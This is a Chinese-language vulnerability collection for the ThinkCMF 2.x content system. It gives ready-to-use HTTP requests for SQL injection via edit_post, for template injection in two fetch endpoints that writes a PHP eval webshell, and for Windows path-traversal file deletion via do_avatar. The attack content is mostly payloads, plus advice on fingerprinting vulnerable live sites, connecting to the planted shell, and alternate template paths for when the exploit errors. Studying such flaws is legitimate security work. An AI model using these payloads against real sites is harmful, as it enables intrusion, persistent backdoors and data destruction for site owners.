ThinkCMF 2.x漏洞合集

  • 发表于
  • Vulndb

本文说的是ThinkCMF 2系列,包含ThinkCMF 2.2.3漏洞,其它ThinkCMF 1.6.0从SQL注入到任意代码执行

前台用户文章编辑提交存在注入

前台的文章编辑中操作框架注入,所以可以直接sql注入

url:http://thinkcmf.test/index.php?g=Portal&m=Article&a=edit_post
post:
term:123
post[post_title]:123
post[post_title]:aaa
post_title:123
post[id][0]:bind
post[id][1]:0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
ThinkCMF 2.x漏洞合集

漏洞原理

文件:ThinkCMFX_2.2.3\application\Portal\Controller\ArticleController.class.php
方法:public function edit_post(

ThinkCMF 2.x漏洞合集

这里不多讲,因为没得意义。详情请看先知的历史tp漏洞,谢谢:)

前台模版注入漏洞-可getshell两处

Comment类模版引擎注入演示

url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
post:
templateFile=/../public/index
prefix=''
content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php>

发送之后页面http状态会为200,这样就表示成功了
简单讲解一下:content 我输入了php代码所以他会在本地跟路径创建一个一句话木马test.php
所以实战过程中。

连接马子:http://xxxxx.com/test.php 密码:11
即可getshell

ThinkCMF 2.x漏洞合集
ThinkCMF 2.x漏洞合集

Api类模版注入1

url:http://thinkcmf.test/index.php?g=Api&m=Plugin&a=fetch
post:
templateFile=/../../../public/index
prefix=''
content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php>

同上一样,会在跟目录生成 马子 test1.php

漏洞原理

路径:ThinkCMFX\application\Comment\Controller\WidgetController.class.php
路径:ThinkCMFX\application\Api\Controller\PluginController.class.php

两处的漏洞原理都是一样的,所以我就选一处进行讲解了
路径:application\Comment\Controller\WidgetController.class.php
方法:public function fetch(

ThinkCMF 2.x漏洞合集

从名字查看我们会发现他的3个参数

$templateFile=模版地址
$content=内容
$prefix=前缀

$templateFile就是我们要包含的文件了,我们必须包含一个不然,代码会报错,导致无法写shell
$content 我们写马子的地方
$prefix 忽略他即可,没有用的

在代码中我们看到一个 $templateFile 给parseTemplate函数包含了,这里我们也不用管他,因为他的作用就是判断一下文件是否存在而已,所以我们在实战的时候,可以找到一处html文件包含即可

而tp的模版引擎 使用的是 smarty 而smarty中只要可控制内容的key 与 value 即可写入shell命令,所以同理可得,tp的 $content 我们可控 = 有模版注入

任意文件删除-只能windows删除

ThinkCMF 2.x漏洞合集

url:http://thinkcmf.test/index.php?g=User&m=Profile&a=do_avatar

post:mgurl=..\..\..\..\..\1.txt

ThinkCMF 2.x漏洞合集

漏洞原理

路径:ThinkCMFX\application\User\Controller\ProfileController.class.php
方法:blic function do_avatar(

ThinkCMF 2.x漏洞合集

从文件可以看到 $imgurl=str_replace('/','',$imgurl); 过滤了 / 但是没有过滤 所以我们无法引入 / 并且在更新头像以后还会从前端接收参数 imgurl 带入函数sp_delete_avatar 跟进去

路径:ThinkCMFX\application\Common\Common\function.php
方法:function sp_delete_avatar(

ThinkCMF 2.x漏洞合集

使用说明

前面说了,thinkcmf 并没有死,并且有3版本与5版本这里提供一些方法,帮助你们辨别哪一些是可以日的,那一些事不行的。

1,看logo 3的logo是黄色的例如下图

ThinkCMF 2.x漏洞合集

2,在网站url 后面输入 admin

ThinkCMF 2.x漏洞合集

如果页面是蓝色的表示是3的

3,查看 README.md
在网站url后面输入README.md

ThinkCMF 2.x漏洞合集

另外还有一个说明,你在实际操作的过程中,可能会遇到他一直报这个错

url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
post:
templateFile=/../public/index
prefix=''
content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php>
ThinkCMF 2.x漏洞合集

请放心这并不是说明漏洞不可使用,而是说,这个模版不存在,你可以换一个html即可

例如:
/../public/index
/../public/exception
/../data/index
/../data/runtime/index
/../plugins/Mobileverify/View/admin_index
/../plugins/Mobileverify/View/index
/../plugins/Mobileverify/View/widget
/../plugins/Demo/View/admin_index
/../plugins/Demo/View/index
/../plugins/Demo/View/widget
/../application/Install/View/Public/footer
/../application/Install/View/Public/head
/../application/Install/View/Public/header
/../application/Common/index
/../application/Portal/Lang/en-us/index
/../application/Api/Lang/en-us/index
/../application/Api/Lang/zh-cn/index
/../application/Comment/Lang/en-us/index
/../application/Comment/Lang/zh-cn/index
url:http://thinkcmf.test/index.php?g=Api&m=Plugin&a=fetch
post:
templateFile=/../../../public/index
prefix=''
content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php>
/../../../public/index
/../../../public/exception
/../../../data/index
/../../../data/runtime/index
/../../../plugins/Mobileverify/View/admin_index
/../../../plugins/Mobileverify/View/index
/../../../plugins/Mobileverify/View/widget
/../../../plugins/Demo/View/admin_index
/../../../plugins/Demo/View/index
/../../../plugins/Demo/View/widget
/../../../application/Install/View/Public/footer
/../../../application/Install/View/Public/head
/../../../application/Install/View/Public/header
/../../../application/Common/index
/../../../application/Portal/Lang/en-us/index
/../../../application/Api/Lang/en-us/index
/../../../application/Api/Lang/zh-cn/index
/../../../application/Comment/Lang/en-us/index
/../../../application/Comment/Lang/zh-cn/index

还有最后一句废话:模版注入对于linux 并不好用 : )

参考:https://xz.aliyun.com/t/3529